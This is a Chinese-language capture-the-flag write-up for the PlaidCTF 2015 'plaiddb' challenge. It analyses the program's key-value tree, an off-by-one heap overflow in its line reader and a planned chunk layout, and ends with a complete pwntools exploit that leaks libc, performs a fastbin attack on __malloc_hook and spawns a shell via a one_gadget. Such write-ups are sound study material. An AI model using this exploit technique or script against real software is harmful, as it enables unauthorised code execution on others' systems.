plaidctf 2015 plaiddb 分析 关键数据结构 00000000 row struc ; (sizeof=0x38, mappedto_6) 00000000 key dq ? ; offset 00000008 data_size dq ? 00000010 data dq ? ; offset 00000018 left_node dq ? ; offset 00000020 right_node dq ? ; offset 00000028 dummy dq ? ; offset 00000030 dummy1 dd ? 00000034 padding dd ? 00000038 row ends
使用二叉树结构存储数据
函数功能 需要注意的是getline
函数:
char *get_line () { char *line_start; char *line_end; size_t size; char v3; char v4; signed __int64 v5; char *new_line; line_start = (char *)malloc (8uLL ); line_end = line_start; size = malloc_usable_size(line_start); while ( 1 ) { v3 = _IO_getc(stdin ); v4 = v3; if ( v3 == -1 ) Goodbye(); if ( v3 == '\n' ) break ; v5 = line_end - line_start; if ( size <= line_end - line_start ) { new_line = (char *)realloc (line_start, 2 * size); line_start = new_line; if ( !new_line ) { puts ("FATAL: Out of memory" ); exit (-1 ); } line_end = &new_line[v5]; size = malloc_usable_size(new_line); } *line_end++ = v4; } *line_end = 0 ; return line_start; }
菜单功能:
unsigned __int64 menu () { char command[8 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("PROMPT: Enter command:" ); my_fgets(command, 8LL ); if ( !memcmp (command, "GET\n" , 5uLL ) ) { Get(); } else if ( !memcmp (command, "PUT\n" , 5uLL ) ) { PUT(); } else if ( !memcmp (command, "DUMP\n" , 6uLL ) ) { DUMP(); } else if ( !memcmp (command, "DEL\n" , 5uLL ) ) { DEL(); } else { if ( !memcmp (command, "EXIT\n" , 6uLL ) ) Goodbye(); __printf_chk(1LL , "ERROR: '%s' is not a valid command.\n" , command); } return __readfsqword(0x28 u) ^ v2; }
DUMP
和 GET
都是用来读取内容的, 这样key
和具体数据内容都可以读取, 不需要重点关注。重点关注PUT
和DEL
:void PUT () { row *row; unsigned __int64 size; char *v2; row *v3; char data_size[16 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); row = (row *)malloc (0x38 uLL); if ( !row ) goto LABEL_10; puts ("PROMPT: Enter row key:" ); row->key = get_line(); puts ("PROMPT: Enter data size:" ); my_fgets(data_size, 16LL ); size = strtoul(data_size, 0LL , 0 ); row->data_size = size; v2 = (char *)malloc (size); row->data = v2; if ( !v2 ) { puts ("ERROR: Can't store that much data." ); free (row->key); if ( __readfsqword(0x28 u) == v5 ) { free (row); return ; } LABEL_10: puts ("FATAL: Can't allocate a row" ); exit (-1 ); } puts ("PROMPT: Enter data:" ); my_fread(row->data, row->data_size); v3 = sub_CF0(row); if ( v3 ) { free (row->key); free (v3->data); v3->data_size = row->data_size; v3->data = row->data; free (row); puts ("INFO: Update successful." ); } else { puts ("INFO: Insert successful." ); } if ( __readfsqword(0x28 u) != v5 ) goto LABEL_10; }
分配过程有:
malloc(0x38) (结构体) getline (malloc 和 realloc) malloc(size) 可控大小 读入 size 字节内容 更复杂的部分我们可以之后在看是否会用到, 也就是在 put 中用到的关于 free 的部分
对于删除来说, 这个函数比较复杂, 就不再详细解释。事实上只需要知道他是按照 key 来进行删除, key 则使用 getline 进行读取, 如果没有该 key, 则 getline 的部分不会被删除, 有的话, 就依次 free
漏洞利用分析 漏洞的位置在功能分析中已经指出来了, 在 getline 当中, 但是这个函数比较特殊的地方在于, 它所分配的大小是逐渐增大的, 通过可用大小乘二的方式增大, 使用了 realloc, 也就是说, 我们想要触发这个漏洞, 就需要满足特定大小的要求。
根据分配过程, 满足的大小有:
这些大小都可以触发溢出。首先 off-by-one 漏洞可以造成堆交叉, 可以造成 libc 地址泄露, 之后所要采用的利用方法, 由于已经存在堆交叉, 也就是可以形成 UAF , 可以使用 UAF 的常用方法。
UAF 漏洞最简单的方法当然是 fastbin attack 了, 所以作者采用了 fastbin attack
到这里, 开始思考如何形成我们所需要的利用条件。off-by-one最终的效果是可以将一个释放状态的 smallbin chunk 或是 unsortedbin chunk 一直到被溢出 chunk 合并成一个大 chunk。也就是说:
+------------+ | | <-- free 的 unsortedbin 或是 smallbin chunk (因为此时 fd 和 bk 指向合法指针, 才能够进行 unlink) +------------+ | ... | <-- 任意 chunk +------------+ | | <-- 进行溢出的 chunk +------------+ | vuln | <-- 被溢出的 chunk, 大小为 0x_00 (例如 0x100, 0x200……) +------------+
在 off-by-one 利用后, 以上出现的 chunk 都将被合并为一个释放状态的 chunk。这样中间任意 chunk 的位置如果是已被分配的, 就可以造成 overlap 了。
按照我们的利用思路, 结合题目 getline 函数通过 malloc(8) 再 realloc 的分配方式, 我们需要:
任意 chunk 位置至少有一个已经分配, 且可以读出数据的 chunk 来 leak libc_base_address 进行溢出的 chunk 需要在最上方的 chunk 之前分配, 否则malloc(8)
的时候会分配到最上方而不是进行溢出 chunk 应在的位置 任意 chunk 位置至少还需要一个已经被释放, 且 size 为 0x71 的 chunk 来进行 fastbin attack 所有 chunk 不应该被合并到 top chunk 中, 所以最下方应该有一个已经分配好的 chunk 保证与 top chunk 的距离 进行溢出的 chunk 大小应该属于 unsortedbin 或是 smallbin, 不能为 fastbin, 否则被释放之后, 按照 getline 的分配方式, malloc(8) 无法分配在该位置 按照以上原则, 我们可以思考出 chunk 的分布如下:
+------------+ | 1 | <-- free 的 size == 0x200 chunk +------------+ | 2 | <-- size == 0x60 fastbin chunk, 已被分配, 且可以读出数据 +------------+ | 5 | <-- size == 0x71 fastbin chunk, 为 fastbin attack 做准备 +------------+ | 3 | <-- size == 0x1f8 free 状态的 smallbin/unsortedbin chunk +------------+ | 4 | <-- size == 0x101 被溢出 chunk +------------+ | X | <-- 任意分配后 chunk 防止 top 合并 +------------+
由于分配过程还有一些额外结构(结构体本身的分配和 getline), 我们需要先释放出足够的 fastbin chunk 来避免结构体本身的分配对我们的过程造成影响。
在此之后, 依次释放掉 5, 3, 1, 之后利用 del 输入时候的 getline, 将 3 填满, 造成 off-by-one, 之后将 4 free 掉进行合并(伪造 prev_size), 这样就有了一个交叉的堆结构了。
之后的过程就更加简单了, 首先分配 1 的大小, 使得 libc 地址被写到 2 里, 就可以泄露出地址, 然后将 5 分配出来, 写入需要的内容, 就可以 fastbin attack 了。
Exp 按照作者所说由于原 libc 为 2.19 版本, 加载有一些奇怪的问题, 较为麻烦, 而本题没有用到 2.19 独有的特性, 所以我采用了 2.23 的 libc 进行调试, 版本为 ubuntu10。
, 因此这里我的测试环境为wsl2 + pwndocker + libc 2.23
from pwn import *context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-v' ] p = process('./datastore' ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def GET (row_key ): p.recvuntil('PROMPT: Enter command:\n' ) p.sendline("GET" ) p.sendlineafter('PROMPT: Enter row key:\n' , row_key) def PUT (row_key, size, data ): p.recvuntil('PROMPT: Enter command:\n' ) p.sendline("PUT" ) p.sendlineafter('PROMPT: Enter row key:\n' , row_key) p.sendlineafter('PROMPT: Enter data size:\n' , str (size)) if (len (data) < size): data = data.ljust(size, b'\x00' ) p.sendafter('PROMPT: Enter data:\n' , data) def DUMP (): p.recvuntil('PROMPT: Enter command:\n' ) p.sendline("DUMP" ) def DEL (row_key ): p.recvuntil('PROMPT: Enter command:\n' ) p.sendline("DEL" ) p.sendlineafter("PROMPT: Enter row key:\n" , row_key) def EXIT (): p.recvuntil('PROMPT: Enter command:\n' ) p.sendline("EXIT" ) for i in range (10 ): PUT(str (i), 0x38 , b'a' * 0x18 ) for i in range (10 ): DEL(str (i)) PUT('x' , 0x200 , 'x' * 0x200 ) PUT('fast' , 0x68 , b'fast' ) PUT('fast2' , 0x68 , b'fast2' ) PUT('a' , 0x1f8 , b'a' * 0x18 ) PUT('b' , 0xf0 , b'b' * 0x18 ) PUT('defense' , 0x400 , b'defense-data' ) DEL('a' ) DEL('x' ) DEL(b'1' * 0x1f0 + p64(0x4f0 )) DEL('b' ) PUT('0x200' , 0x200 , b'0x200' ) PUT('0x200plus' , 0x200 , b'0x200' ) GET('fast' ) p.recvuntil(']:\n' ) leak = u64(p.recv(8 ).ljust(8 , b'\x00' )) libc_base = leak-(0x7ffff7dd1b78 -0x7ffff7a0d000 ) DEL('fast2' ) PUT('0x68+0x68' , 0x100 , b'a' * 0x68 + p64(0x71 ) + p64(libc_base + libc.symbols['__malloc_hook' ] - 10 -0x10 +7 )) PUT('pre' , 0x68 , b'aa' ) one_gadget_offset = 0x4526a one_gadget = one_gadget_offset+libc_base PUT('attack' , 0x68 , b'a' *3 +p64(one_gadget)) GET('fast' ) p.interactive()